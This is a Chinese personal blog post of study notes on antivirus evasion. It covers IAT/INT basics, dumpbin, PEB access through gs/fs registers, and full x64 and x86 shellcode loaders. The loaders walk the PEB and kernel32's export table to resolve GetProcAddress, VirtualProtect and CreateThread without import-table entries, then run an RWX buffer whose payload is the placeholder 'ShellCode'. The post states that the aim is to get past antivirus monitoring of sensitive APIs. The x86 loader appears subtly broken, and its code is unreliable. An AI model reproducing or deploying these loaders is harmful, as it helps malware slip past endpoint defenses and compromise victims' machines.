C语言3-IAT表、shellcode loader

C语言3-IAT表、shellcode loader

基础

image-20240119122426842

用名称找函数就放在INT表里面,如果是地址找函数就凡在IAT表里面,虽然我也不是很懂,pe结构我学了几天了,暂时不想学了,后面再补上。

image-20240119122609063

在pe加载进内存之后,iat表里面就不再指向函数的名称了,而是存储到函数的地址

正常加载函数和dll加载函数

现在看看正常函数调用的反汇编
image-20240119123043585

可以看到他的内存是写死了的,但是我们看看调用windowsAPI哈,这个就是跳到dll
image-20240119135902769
image-20240119135924070
继续往下更进
image-20240119140048733
最后发现跳到一个7开头的内存地址,这个7开头的内存地址绝对不是程序本身的内存地址了,就是不再程序的堆栈里面,因为可以看到刚刚我们的反汇编里面,基本都是0开头的,所以这个7开头的肯定是dll里面去了。
这里解释一下,由于程序加载进内存的时候,还会加载很多的dll,而为了防止出错,程序不会把任何两个dll文件加载进同一块内存中。可是这个时候就出现了一个问题,如果我本来存dll的内存块被我自己的一个dll文件占领了呢?那么,就会把原来存在这个dll挤开,所以dll的地址都是动态的,存到内存中的,就像上面那张图片,call到一个内存地址中取,而那个地址就存有目标dll的内存地址。

从导入表查看函数

这里使用vs自带的dumpbin来看看
image-20240119144844766
命令如下dumpbin.exe /imports 目标文件路径
image-20240119144951384
可以看到哈(用的就是上面那个程序),这里就可以从导入表看到这个这个东西。

shellcode loader

我之前其实作为门外汉研究过平时的shellcode loader代码,在我的blog里面其实也有写,可以看看。当时还局限于加密解密shellcode,现在系统学习免杀,不断提高捏。

要搜这些api的官方文档用msdn就可,不是csdn哈。
而shellcode loader的编写也有两种方法,可以用指针执行,也可以用汇编语句执行。
image-20240120153125419
其中对于免杀来说,类似VirtualAlloc CreateThread Write ProcessMemory这些api肯定是被重点监控的,我们可以进行一些替换例如VirtualAlloc

虽然可以替换api,但是本质上,要让shellcode跑起来,必须要一块可读可写可执行的内存对吧,所以我们替换这些api,其实只是让杀软不那么在意你申请的内存,因为上面的api都是些敏感的api了。

回调函数机制

把一段可执行的代码像参数传递那样给其他代码,而这段代码会在某个时刻被调用执行,这就叫做回调。如果代码立即被执行就称为同步回调,如果在之后晚点的某个时间再执行,则称之为异步回调。
image-20240120155029039

同样图片中的

扩展:defender有内存查杀,但是360没有

经典的隐藏导入表

双机调试环境

扩展:搭建双机调试环境(可以自己看看百度) windbg

每个线程都有一个TEB结构来存储线程的一些属性结构,TEB的地址用fs:[0]来获取

image-20240121192853804

image-20240121192942895

很好,开始看不懂了。哦,懂了,就是就是我们要定位一个dll的地址的话,可以进行如下操作
image-20240121193151924
这个就要用那个双机调试环境,具体可以百度(我后续会单独发文)

64位环境定位PEB内部的dll地址实践

原理

首先我要在这里说说这个的原理是什么啊,就是说导入表会检查我们程序用了哪些dll对吧,因为dumpbin其实就是通过检查pe文件的导入表来看你这个pe文件用了哪些函数对吧
那接下来我们介绍一下导入表
image-20240121230255105

2.5 PE结构:导入表详细解析 - lyshark - 博客园 (cnblogs.com)

具体可以看上面那个博客,讲的非常详细,虽然我看的一知半解的,但是还是继续学下去。

好吧,继续说会话题,主动找到函数地址来调用函数不会记录到导入表,而怎么找到函数地址呢,那就需要使用GetProAddress函数了,这个函数在kernel32.dll里面,我们就需要手动定位这个dll里面的函数地址就可以了,步骤如下

获取 InInitializationOrderModuleList 地址
遍历 InInitializationOrderModuleList 获取 EXE 运行自动加载的 Kernel32.dll 地址
遍历 Kernel32.dll 导出表,获取 GetProcAddress 函数地址
通过 GetProcAddress 地址调用 GetProcAddress 函数获取其他必要函数地址
通过必要函数地址调用必要函数加载 ShellCode

实践之获取PEB位置

通过PEB寻找函数地址 - Bl0od - 博客园 (cnblogs.com)

可参考

image-20240121193340506
image-20240121193759404
好好好,这些都要自己去实践才行,但是又特别枯燥,很烦,坚持下去把。这里实践一下哈

首先打开你的vs,创建一个新的文件,用来存储汇编代码

image-20240121194615296

.CODE
    GetPEB PROC
    mov rax,gs:[60h]
    ret 
    GetPEB ENDP
END

这段汇编代码是用于获取进程环境块(Process Environment Block,PEB)的函数。PEB是Windows操作系统中的一个数据结构,记录了当前进程的各种信息和状态。

具体来说,这段代码的功能是通过读取gs寄存器的偏移地址0x60处的值,将其保存到rax寄存器中,并返回。在Windows x64平台上,gs寄存器用于指向当前线程的Thread Information Block(TIB),而TIB中的一个成员就是PEB的地址。

通过这个函数,可以方便地获取进程的PEB结构体,从而获得进程的重要信息,如模块列表、命令行参数等。

image-20240121195141499
第二步就是进入这个文件的属性页面,然后设置将其在生成中排除设置成否。就相当于要和我们一起生成
image-20240121195250452
然后就是将这个改成自定义生成工具,应用一下。

然后在出现的自定义生成工具中填两项,如下
命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(filename).asm
输出:$(IntDir)%(fileName).obj
image-20240121200005252
image-20240121213201284

然后导入(记得加分号)
image-20240121213557248
最后运行,成功拿到PEB的地址,当然,这只是第一步,我们的目标是什么,是拿到函数地址!

获取 x64_InInitializationOrderModuleList 地址

.CODE
    GetInInitializationOrderModuleList PROC
    mov rax,gs:[60h] ; PEB,不能写 0x60
    mov rax,[rax+18h] ; PEB_LDR_DATA
    mov rax,[rax+30h] ; InInitializationOrderModuleList
    ret ; 不能写 retn
    GetInInitializationOrderModuleList ENDP
END

这个汇编代码就会返回链表的头指针。

cpp代码如下:

#include <windows.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// 声明自定义函数,extern "C" 表示使用 C语言的调用约定
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();

// 获取 Kernel32 地址
HMODULE GetKernel32Address() {
    // 获取 InInitializationOrderModuleList
    LIST_ENTRY* node = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // LIST_ENTRY 是双向链表结构体

    // 遍历 InInitializationOrderModuleList
    while (1) {
        UNICODE_STRING* fullDllName = (UNICODE_STRING*)((BYTE*)node + 0x38); // x86 偏移量是 0x24
        if (*(fullDllName->Buffer + 12) == '\0') { // 模块完整名称是 KERNEL32.DLL\0
            return (HMODULE)(*((ULONG64*)((BYTE*)node + 0x10))); // 返回模块基址(DllBase)
        }
        node = node->Flink; // 下一个节点
    }
}

// 获取 GetProcAddress 函数地址
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
    // 获取 Kernel32.dll DOS头
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;

    // 获取 NT头
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64

    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // 函数的地址为ULONG,所以用PULONG指针
    PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
    PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址

    // 遍历导出函数
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
        PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
        if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
            return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
        }
    }
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
    unsigned char buf[] = "ShellCode";

    HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址

    // 获取必要函数地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

    // 加载 ShellCode
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

都有详细的注释不错。

接下来实践一下执行shellcode

image-20240122001700455

成功了

image-20240122002614109

导入表中没有信息

x86

#include <windows.h>
 
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
 
typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    UINT32 CheckSum;
    UINT32 TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
 
// 获取 Kernel32 地址,与 x64 不同
HMODULE GetKernel32Address() {
    // 获取 InLoadOrderModuleList
    LDR_DATA_TABLE_ENTRY* node = NULL;
    __asm {
        mov eax, fs: [0x30] // PEB
        mov eax, [eax + 0x0C] // PEB_LDR_DATA
        mov eax, [eax + 0x0C] // InLoadOrderModuleList
        mov node, eax
    }
 
    // 遍历 InLoadOrderModuleList
    char kernel32Name[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; // unicode \0 结尾
    while (1) {
        if (!strcmp((const char*)node->BaseDllName.Buffer, kernel32Name)) { // 模块名是 KERNEL32.DLL\0
            return (HMODULE)node->DllBase; // 返回模块基址
        }
        node = (LDR_DATA_TABLE_ENTRY*)node->InLoadOrderLinks.Flink; // 下一个节点
    }
}
 
// 获取 GetProcAddress 函数地址,同 x64
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
    // 获取 Kernel32.dll DOS头
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;
 
    // 获取 NT头
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64
 
    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
 
    // 函数的地址为ULONG,所以用PULONG指针
    PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
    PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
 
    // 遍历导出函数
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
        PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
        if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
            return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
        }
    }
}
 
// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
 
int main() {
    unsigned char buf[] = "ShellCode";
 
    HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址
 
    // 获取必要函数地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
 
    // 加载 ShellCode
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

将shellcode存储在资源里

image-20240122005256903


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。